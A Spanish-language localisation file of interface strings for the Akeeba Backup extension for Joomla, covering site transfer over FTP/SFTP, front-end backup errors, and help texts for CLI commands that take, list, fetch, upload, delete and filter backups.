COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PASSIVE="Modo pasivo"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PASSWORD="Contraseña"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PORT="Puerto"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PRIVATEKEY="Archivo de clave privada SFTP"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PUBKEY="Archivo de clave pública SFTP"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_USERNAME="Nombre de usuario"
COM_AKEEBABACKUP_TRANSFER_LBL_MANUALTRANSFER_INFO="Siga las instrucciones del vídeo para transferir su sitio manualmente. La información sobre el archivo de copia de seguridad se encuentra debajo del enlace al vídeo (desplácese hacia abajo)."
COM_AKEEBABACKUP_TRANSFER_LBL_MANUALTRANSFER_LINK="Ver el tutorial en vídeo"
COM_AKEEBABACKUP_TRANSFER_LBL_MANUALTRANSFER_MULTIPART="Debe transferir <strong>todos</strong> los %u archivos:"
COM_AKEEBABACKUP_TRANSFER_LBL_NEWURL="La URL de su nuevo sitio"
COM_AKEEBABACKUP_TRANSFER_LBL_NEWURL_TIP="Introduzca la URL del sitio al que está restaurando"
COM_AKEEBABACKUP_TRANSFER_LBL_OPEN_KICKSTART_INFO="Kickstart le permitirá extraer el archivo de copia de seguridad e iniciar la restauración en el servidor remoto."
COM_AKEEBABACKUP_TRANSFER_LBL_SPACE="Aproximadamente %s de espacio libre en su nuevo sitio"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD="Método de transferencia de archivos"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_FTP="FTP, funciones nativas de PHP"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_FTPCURL="FTP, usando cURL"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_FTPS="FTPS, funciones nativas de PHP"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_FTPSCURL="FTPS, usando cURL"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_MANUALLY="Manualmente"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_SFTP="SFTP, extensión nativa PHP SSH2"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_SFTPCURL="SFTP, usando cURL"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE="Modo de transferencia del archivo"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE_CHUNKED="Por FTP / SFTP"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE_INFO="Los archivos de copia de seguridad se transfieren en pequeños fragmentos al servidor remoto y luego se ensamblan en archivos completos allí. Esta opción controla cómo se transfieren estos pequeños fragmentos."
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE_POST="Por HTTP / HTTPS"
COM_AKEEBABACKUP_TRANSFER_LBL_UPLOAD_BACKUP="Subiendo el archivo de copia de seguridad"
COM_AKEEBABACKUP_TRANSFER_LBL_UPLOAD_KICKSTART="Subiendo Kickstart"
COM_AKEEBABACKUP_TRANSFER_LBL_VALIDATING="Validando…"
COM_AKEEBABACKUP_TRANSFER_MSG_DONE="¡La subida se ha completado!"
COM_AKEEBABACKUP_TRANSFER_MSG_FAILED="La subida del archivo de copia de seguridad ha fallado."
COM_AKEEBABACKUP_TRANSFER_MSG_START="Preparando la subida de su archivo. Esto llevará algún tiempo. Por favor, espere."
COM_AKEEBABACKUP_TRANSFER_MSG_UPLOADINGFRAG="Continuando la subida de la parte %s de %s del archivo. Procesando actualmente el fragmento %s. Por favor, espere."
COM_AKEEBABACKUP_TRANSFER_MSG_UPLOADINGPART="Subiendo la parte %s de %s del archivo. Por favor, espere."
COM_AKEEBABACKUP_TRANSFER_TITLE="Transferir archivo"
COM_AKEEBABACKUP_TRANSFER_WARN_FIREWALLED_BODY="Algunos de los métodos de transferencia listados anteriormente y marcados con &#128274; están bloqueados por un cortafuegos en su servidor. Si los utiliza, es muy probable que este asistente falle. Por favor, contacte con su proveedor de alojamiento y pídales que desactiven el cortafuegos o añadan excepciones antes de transferir su sitio. También puede seleccionar Manual arriba, hacer clic en Continuar con la restauración y seguir las instrucciones para una transferencia manual del sitio."
COM_AKEEBABACKUP_TRANSFER_WARN_FIREWALLED_HEAD="El cortafuegos del servidor bloquea las transferencias de archivos - ESTE ASISTENTE PUEDE FALLAR"

COM_AKEEBABACKUP_FILTER_SELECT_FROZEN="– Congelado –"
COM_AKEEBABACKUP_FILTER_SELECT_PROFILEID="– Perfil de copia de seguridad –"

COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE="No se puede cargar el motor de Akeeba Backup."

COM_AKEEBABACKUP_CLI_ERR_CANNOT_GENERATE_YAML="No se puede generar YAML"
COM_AKEEBABACKUP_CLI_ERR_YAML_EXTENSION_NOT_FOUND="Su instalación de PHP no tiene la extensión PHP YAML instalada o activada."
COM_AKEEBABACKUP_CLI_ERR_UNSET_TIME_LIMITS="No se pudieron eliminar las restricciones de límite de tiempo; es posible que obtenga un error de tiempo de espera."
COM_AKEEBABACKUP_CLI_ERR_NO_LIVE_SITE="Este script no pudo detectar la URL de su sitio en producción. Por favor, visite la página del Panel de control de Akeeba Backup al menos una vez antes de ejecutar este script, para que esta información pueda almacenarse para su uso por este script."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_DISABLED="La función de copia de seguridad desde el frontal de su instalación de Akeeba Backup está actualmente desactivada. Por favor, inicie sesión en el administrador de su sitio como Superusuario, vaya al Panel de control de Akeeba Backup, haga clic en el icono Opciones en la esquina superior derecha y active la función de copia de seguridad desde el frontal. ¡No olvide especificar también una palabra secreta!"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_NOSECRET="Ha activado la función de copia de seguridad desde el frontal, pero ha olvidado establecer una palabra secreta. Sin una palabra secreta válida este script no puede continuar. Por favor, inicie sesión en el administrador de su sitio como Superadministrador, vaya al Panel de control de Akeeba Backup, haga clic en el icono Opciones en la esquina superior derecha y establezca una palabra secreta."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_NOMETHOD="No se encontró ningún método compatible para ejecutar la función de copia de seguridad desde el frontal de Akeeba Backup. Por favor, consulte con su proveedor de alojamiento que al menos una de las siguientes funciones está admitida en su configuración de PHP:"
COM_AKEEBABACKUP_CLI_ERR_FECHECK_NOMETHOD="No se encontró ningún método compatible para ejecutar la función de comprobación de copias de seguridad fallidas desde el frontal de Akeeba Backup. Por favor, consulte con su proveedor de alojamiento que al menos una de las siguientes funciones está admitida en su configuración de PHP:"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUPORCHECK_METHOD_CURL="1. La extensión cURL"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUPORCHECK_METHOD_FOPEN="2. Los envoltorios de URL de fopen(), es decir, allow_url_fopen está activado"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_METHOD_NOMETHOD="Si ninguno de los métodos está disponible, no podrá hacer copias de seguridad de su sitio usando este comando CLI."
COM_AKEEBABACKUP_CLI_ERR_FECHECK_METHOD_NOMETHOD="Si ninguno de los métodos está disponible, no podrá comprobar si hay copias de seguridad fallidas en su sitio usando este comando CLI."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_HTTP_ERROR="Su intento de copia de seguridad falló con el código de error HTTP %d (%s). Por favor, compruebe el registro de copia de seguridad y el registro de errores de su servidor para obtener más información."
COM_AKEEBABACKUP_CLI_ERR_FECHECK_HTTP_ERROR="Su intento de comprobación de copias de seguridad fallidas falló con el código de error HTTP %d (%s). Por favor, compruebe el registro de errores de su servidor para obtener más información."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_NO_MESSAGE_FROM_SERVER="Su intento de copia de seguridad ha agotado el tiempo de espera o se ha producido un error fatal de PHP. Por favor, compruebe el registro de copia de seguridad y el registro de errores de su servidor para obtener más información."
COM_AKEEBABACKUP_CLI_ERR_FECHECK_NO_MESSAGE_FROM_SERVER="Su intento de comprobar si hay copias de seguridad fallidas ha agotado el tiempo de espera o se ha producido un error fatal de PHP."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_ERROR_RECEIVED="Se ha producido un error en la copia de seguridad. La respuesta del servidor fue:"
COM_AKEEBABACKUP_CLI_ERR_FECHECK_ERROR_RECEIVED="Se ha producido un error en la comprobación de copias de seguridad fallidas. La respuesta del servidor fue:"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_ERROR403_RECEIVED="El servidor rechazó la conexión. Por favor, asegúrese de que la función de copia de seguridad desde el frontal está activada y de que hay una palabra secreta válida configurada."
COM_AKEEBABACKUP_CLI_ERR_SERVER_RESPONSE="Respuesta del servidor:"
COM_AKEEBABACKUP_CLI_ERR_CORRUPT_RESPONSE="No hemos podido entender la respuesta del servidor. Lo más probable es que se haya producido un error en la copia de seguridad. La respuesta del servidor fue:"
COM_AKEEBABACKUP_CLI_ERR_FECHECKS_CORRUPT_RESPONSE="No hemos podido entender la respuesta del servidor. Lo más probable es que se haya producido un error en la comprobación de copias de seguridad fallidas. La respuesta del servidor fue:"
COM_AKEEBABACKUP_CLI_ERR_CORRUPT_RESPONSE_INFO="Si no ve &quot;200 OK&quot; al final de esta salida, la copia de seguridad ha fallado."
COM_AKEEBABACKUP_CLI_ERR_FECHECKS_CORRUPT_RESPONSE_INFO="Si no ve &quot;200 OK&quot; al final de esta salida, la comprobación de copias de seguridad fallidas ha fallado."

COM_AKEEBABACKUP_CLI_CHECK_ALT_COMMAND_HELP="<info>%command.name%</info> comprobará si hay intentos de copia de seguridad fallidos con Akeeba Backup, usando su función de frontal.\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_CHECK_ALT_COMMAND_DESC="Comprobar si hay copias de seguridad de Akeeba Backup fallidas usando su función de frontal"

COM_AKEEBABACKUP_CLI_UPLOADCHECK_ALT_COMMAND_HELP="<info>%command.name%</info> comprobará si hay copias de seguridad de Akeeba Backup que no se pudieron subir al almacenamiento remoto, usando su función de frontal.\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_UPLOADCHECK_ALT_COMMAND_DESC="Comprobar si hay copias de seguridad de Akeeba Backup que no se pudieron subir al almacenamiento remoto, usando su función de frontal"

COM_AKEEBABACKUP_CLI_BACKUP_ALT_COMMAND_HELP="<info>%command.name%</info> realizará una copia de seguridad con Akeeba Backup, usando su función de copia de seguridad desde el frontal.\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_ALT_COMMAND_DESC="Realizar una copia de seguridad con la función de copia de seguridad desde el frontal de Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_ALT_OPT_PROFILE="Número de perfil"
COM_AKEEBABACKUP_CLI_HEAD_BACKUP_ALTERNATE="Realizando una copia de seguridad con la función de copia de seguridad desde el frontal de Akeeba Backup"

COM_AKEEBABACKUP_CLI_HEAD_CHECK_ALTERNATE="Comprobando si hay intentos de copia de seguridad fallidos realizados con Akeeba Backup usando la función de frontal"

COM_AKEEBABACKUP_CLI_LBL_UNSET_TIME_LIMITS="Eliminando las restricciones de límite de tiempo"
COM_AKEEBABACKUP_CLI_LBL_START_BACKUP_WITH_PROFILE="Iniciando una copia de seguridad con el perfil de copia de seguridad n.º %d"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_BEGINNING_BACKUP="[%s] Iniciando la copia de seguridad"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_BEGINNING_CHECK="[%s] Iniciando la comprobación de copias de seguridad fallidas"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_BEGINNING_UPLOADCHECK="[%s] Iniciando la comprobación de subidas fallidas"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_RECEIVED_HTTP="[%s] Recibido HTTP %d"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_NO_MESSAGE="[%s] No se ha recibido ningún mensaje"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_PROGRESS_RECEIVED="[%s] Recibida señal de progreso de la copia de seguridad"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_FINALISATION_RECEIVED="[%s] Recibido mensaje de finalización de la copia de seguridad"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_CHECKS_FINALISATION_RECEIVED="[%s] Recibido mensaje de finalización de comprobaciones"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_ERROR500_RECEIVED="[%s] Recibida señal de error"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_ERROR403_RECEIVED="[%s] Recibido mensaje de conexión denegada (403)"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_CORRUPT="[%s] No se ha podido analizar la respuesta del servidor."

COM_AKEEBABACKUP_CLI_LBL_FEBACKUP_FINISH_HEAD="Su copia de seguridad ha finalizado correctamente."
COM_AKEEBABACKUP_CLI_LBL_FEBACKUP_FINISH_DETAILS="Revise el archivo de registro de su copia de seguridad para detectar posibles mensajes de advertencia. Si observa alguno, asegúrese de que la copia de seguridad funciona correctamente intentando restaurarla en un servidor local."

COM_AKEEBABACKUP_CLI_LBL_FECHECK_FINISH_HEAD="Las comprobaciones han finalizado correctamente."

COM_AKEEBABACKUP_CLI_HEAD_CHECK="Comprobando intentos de copia de seguridad fallidos realizados con Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_CHECK_HELP="<info>%command.name%</info> comprobará los intentos de copia de seguridad fallidos realizados con Akeeba Backup\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_CHECK_DESC="Comprobar intentos de copia de seguridad fallidos de Akeeba Backup"

COM_AKEEBABACKUP_CLI_HEAD_FAILEDUPLOAD_ALTERNATE="Comprobando copias de seguridad de Akeeba Backup cuya subida al almacenamiento remoto falló usando la función de interfaz pública"
COM_AKEEBABACKUP_CLI_HEAD_FAILEDUPLOAD="Comprobando copias de seguridad de Akeeba Backup cuya subida al almacenamiento remoto falló"
COM_AKEEBABACKUP_CLI_FAILEDUPLOAD_HELP="<info>%command.name%</info> comprobará las copias de seguridad realizadas con Akeeba Backup cuya subida al almacenamiento remoto haya fallado.\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FAILEDUPLOAD_DESC="Comprobar copias de seguridad de Akeeba Backup cuya subida ha fallado"

COM_AKEEBABACKUP_CLI_HEAD_BACKUP_DELETE="Eliminando el registro de copia de seguridad n.º %d de Akeeba Backup"
COM_AKEEBABACKUP_CLI_LBL_BACKUP_DELETE_FILES="Se han eliminado los archivos del registro de copia de seguridad n.º %d."
COM_AKEEBABACKUP_CLI_LBL_BACKUP_DELETE="El registro de copia de seguridad n.º %d ha sido eliminado."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DELETE_FILES="No se pueden eliminar los archivos del registro de copia de seguridad n.º %d: %s"
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DELETE="No se puede eliminar el registro de copia de seguridad n.º %d: %s"
COM_AKEEBABACKUP_CLI_BACKUP_DELETE_HELP="<info>%command.name%</info> eliminará un registro de copia de seguridad conocido por Akeeba Backup, o solo sus archivos\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_DELETE_DESC="Elimina un registro de copia de seguridad conocido por Akeeba Backup, o solo sus archivos"
COM_AKEEBABACKUP_CLI_BACKUP_DELETE_OPT_ID="El identificador del registro de copia de seguridad a eliminar"
COM_AKEEBABACKUP_CLI_BACKUP_DELETE_OPT_ONLY_FILES="Eliminar solo los archivos de copia de seguridad almacenados en el servidor del sitio, no el registro en sí."

COM_AKEEBABACKUP_CLI_HEAD_BACKUP_DOWNLOAD="Recuperando la parte n.º %d del registro de copia de seguridad n.º %d de Akeeba Backup"
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_NO_FILES="El registro de copia de seguridad '%s' no tiene archivos disponibles para descargar. ¿Ya los ha eliminado?"
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_NO_FILES_MAYBE_REMOTE="El registro de copia de seguridad '%s' no tiene archivos disponibles para descargar en el servidor. Si están almacenados de forma remota, puede que necesite usar primero el comando de obtención."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_OUT_OF_RANGE="No existe la parte '%s' del registro de copia de seguridad '%s'."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_FILE_MISSING="No se encuentra la parte '%s' del registro de copia de seguridad '%s' en el servidor."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_FILE_UNREADABLE="No se puede abrir '%s' para lectura. Compruebe los permisos/ACL del archivo."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_FILE_UNWRITEABLE="No se puede abrir '%s' para escritura. Compruebe si la carpeta existe y los permisos/ACL tanto de la carpeta contenedora como del archivo."
COM_AKEEBABACKUP_CLI_LBL_BACKUP_DOWNLOAD_DONE="Descargada la parte %d del registro de copia de seguridad n.º %d en el archivo %s"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_HELP="<info>%command.name%</info> generará o escribirá un archivo con una parte del archivo de copia de seguridad de un registro conocido por Akeeba Backup\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_DESC="Devuelve una parte del archivo de copia de seguridad para un registro conocido por Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_OPT_ID="El identificador del registro de copia de seguridad del que recuperar los archivos"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_OPT_PART="El número de parte del archivo de copia de seguridad a recuperar"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_OPT_FILE="Ruta del archivo donde escribir. Se enviará a STDOUT si no se define."

COM_AKEEBABACKUP_CLI_BACKUP_FETCH_HEAD="Recuperando los archivos almacenados de forma remota del registro de copia de seguridad n.º %d de Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_SECTION_DOWNLOADING="Descargando el archivo de copia de seguridad n.º %d"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_LBL_PART_FRAG="Archivo de parte: %d, fragmento de archivo: %d"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_LBL_FINISHED="La recuperación de los archivos del registro de copia de seguridad '%s' ha finalizado."
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_ERR_FAILED="La recuperación de los archivos del registro de copia de seguridad '%s' ha fallado."
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_HELP="<info>%command.name%</info> descargará los archivos de copia de seguridad de una copia conocida por Akeeba Backup desde el almacenamiento remoto de vuelta al servidor.\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_DESC="Descargar una copia de seguridad del almacenamiento remoto de vuelta al servidor"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_OPT_ID="El identificador del registro de copia de seguridad a recuperar"

COM_AKEEBABACKUP_CLI_BACKUP_INFO_HEAD="Información del registro de copia de seguridad n.º %d de Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_INFO_HELP="<info>%command.name%</info> mostrará un registro de copia de seguridad conocido por Akeeba Backup\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_INFO_DESC="Muestra un registro de copia de seguridad conocido por Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_INFO_OPT_ID="El identificador del registro de copia de seguridad a mostrar"
COM_AKEEBABACKUP_CLI_BACKUP_INFO_OPT_FORMAT="Formato de salida: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_BACKUP_LIST_HEAD="Lista de registros de copia de seguridad de Akeeba Backup que coinciden con sus criterios"
COM_AKEEBABACKUP_CLI_BACKUP_LIST_HELP="<info>%command.name%</info> listará los registros de copia de seguridad conocidos por Akeeba Backup\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_LIST_DESC="Lista los registros de copia de seguridad conocidos por Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_FROM="Cuántos registros de copia de seguridad omitir antes de iniciar la salida."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_LIMIT="Número máximo de registros de copia de seguridad a mostrar."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_FORMAT="Formato de salida: table, json, yaml, csv, count."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_DESCRIPTION="Los registros de copia de seguridad mostrados deben coincidir con esta descripción (parcial)."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_AFTER="Listar registros de copia de seguridad realizados después de esta fecha."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_BEFORE="Listar registros de copia de seguridad realizados antes de esta fecha."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_ORIGIN="Listar solo copias de seguridad de este origen: backend, frontend, json, cli."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_PROFILE="Listar copias de seguridad realizadas con este perfil. Indique el ID numérico del perfil."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_SORT_BY="Ordenar la salida por la columna indicada: id, description, profile_id, backupstart"
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_SORT_ORDER="Orden de clasificación: asc, desc."

COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_HEAD="Modificando el registro de copia de seguridad n.º %d de Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_HELP="<info>%command.name%</info> modificará un registro de copia de seguridad conocido por Akeeba Backup\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_DESC="Modifica un registro de copia de seguridad conocido por Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_ERR_DESC_AND_COMMENT_REQUIRED="Debe especificar uno o ambos de --description y --comment"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_ERR_CANNOT_MODIFY="No se puede modificar el registro de copia de seguridad n.º %d"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_LBL_MODIFIED="El registro de copia de seguridad n.º %d ha sido modificado."
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_OPT_ID="El identificador del registro de copia de seguridad a modificar"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_OPT_DESCRIPTION="Cambiar la descripción corta a este valor."
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_OPT_COMMENT="Cambiar el comentario de la copia de seguridad a este valor (acepta HTML)."

COM_AKEEBABACKUP_CLI_BACKUP_TAKE_HEAD="Realizando una copia de seguridad con Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_SECTION_START="Iniciando la copia de seguridad con el perfil n.º %s."
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_LASTTICK="Último pulso   : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_DOMAIN="Dominio        : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_STEP="Paso           : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_SUBSTEP="Subpaso        : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_PROGRESS="Progreso       : %1.2f%%"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_MEMORY="Memoria usada  : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_PEAKMEM="Memoria máxima usada : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_TOTALTILE="El bucle de copia de seguridad finalizó después de %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_COMPLETE_WITH_WARNINGS="El proceso de copia de seguridad ha finalizado con advertencias."
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_COMPLETE="El proceso de copia de seguridad ha finalizado."
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_HELP="<info>%command.name%</info> realizará una copia de seguridad con Akeeba Backup\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_DESC="Realizar una copia de seguridad con Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_PROFILE="Número de perfil"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_DESCRIPTION="Descripción corta para el registro de copia de seguridad; acepta las variables estándar de nomenclatura de archivos de Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_COMMENT="Comentario más largo para el registro de copia de seguridad; proporciónelo en HTML"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_OVERRIDES="Establecer anulaciones de configuración con el formato \"clave1=valor1,clave2=valor2\""

COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_HEAD="Volviendo a subir el registro de copia de seguridad n.º %d de Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_LBL_PROGRESS="Intentando volver a subir el registro de copia de seguridad '%s', archivo de parte n.º %s, fragmento n.º %s. Esto puede tardar un momento."
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_LBL_COMPLETE="La nueva subida del registro de copia de seguridad '%s' ha finalizado."
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_ERR_FAILED="La nueva subida del registro de copia de seguridad '%s' ha fallado."
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_HELP="<info>%command.name%</info> reintentará subir una copia de seguridad conocida por Akeeba Backup al almacenamiento remoto.\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_DESC="Reintentar la subida de una copia de seguridad al almacenamiento remoto"
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_OPT_ID="El identificador del registro de copia de seguridad a subir"

COM_AKEEBABACKUP_CLI_FILTER_DELETE_HEAD="Eliminando el filtro %s \"%s\" de tipo %s del perfil n.º %d"
COM_AKEEBABACKUP_CLI_FILTER_TYPE_DATABASE="base de datos"
COM_AKEEBABACKUP_CLI_FILTER_TYPE_FILESYSTEM="sistema de archivos"
COM_AKEEBABACKUP_CLI_FILTER_DELETE_ERR_UNKNOWN_ROOT="Raíz %s desconocida '%s'."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_ONLY_PRO="Los filtros del tipo '%s' solo están disponibles con Akeeba Backup Professional."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_ERR_FAILED="No se ha podido eliminar el filtro '%s' de tipo '%s'."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_LBL_DELETED="Filtro '%s' de tipo '%s' eliminado."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_HELP="<info>%command.name%</info> eliminará un valor de filtro conocido por Akeeba Backup.\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_DELETE_DESC="Eliminar un valor de filtro conocido por Akeeba Backup."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_FILTER="El nombre del filtro a eliminar"
COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_ROOT="Qué raíz de filtro usar. Por defecto [SITEROOT] o [SITEDB] según el tipo de filtro."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_FILTERTYPE="El tipo de filtro que desea eliminar: files, directories, skipdirs, skipfiles, regexfiles, regexdirectories, regexskipdirs, regexskipfiles, tables, tabledata, regextables, regextabledata, extradirs, multidb"
COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_PROFILE="El perfil de copia de seguridad a usar. Por defecto: 1."

COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_HEAD="Añadiendo el filtro %s \"%s\" de tipo %s al perfil n.º %d"
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_ERR_FAILED="No se ha podido añadir el filtro '%s' de tipo '%s'."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_LBL_SUCCESS="Filtro '%s' de tipo '%s' añadido."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_HELP="<info>%command.name%</info> establecerá un filtro de exclusión de archivo, carpeta o tabla en Akeeba Backup.\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_DESC="Establecer un filtro de exclusión en Akeeba Backup."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_FILTER="El objetivo del filtro a añadir. Es la ruta completa a un archivo/directorio, un nombre de tabla o una expresión regular, según el tipo de filtro."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_ROOT="Qué raíz de filtro usar. Por defecto [SITEROOT] o [SITEDB] según el tipo de filtro."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_FILTERTYPE="El tipo de filtro que desea añadir: files, directories, skipdirs, skipfiles, regexfiles, regexdirectories, regexskipdirs, regexskipfiles, tables, tabledata, regextables, regextabledata"
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_PROFILE="El perfil de copia de seguridad a usar. Por defecto: 1."

COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_NEED_PRO="Esta función requiere Akeeba Backup Professional"
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_ALREADY_EXISTS="La base de datos '%s' ya está incluida. Elimine el filtro de inclusión anterior antes de intentar añadir la base de datos de nuevo."
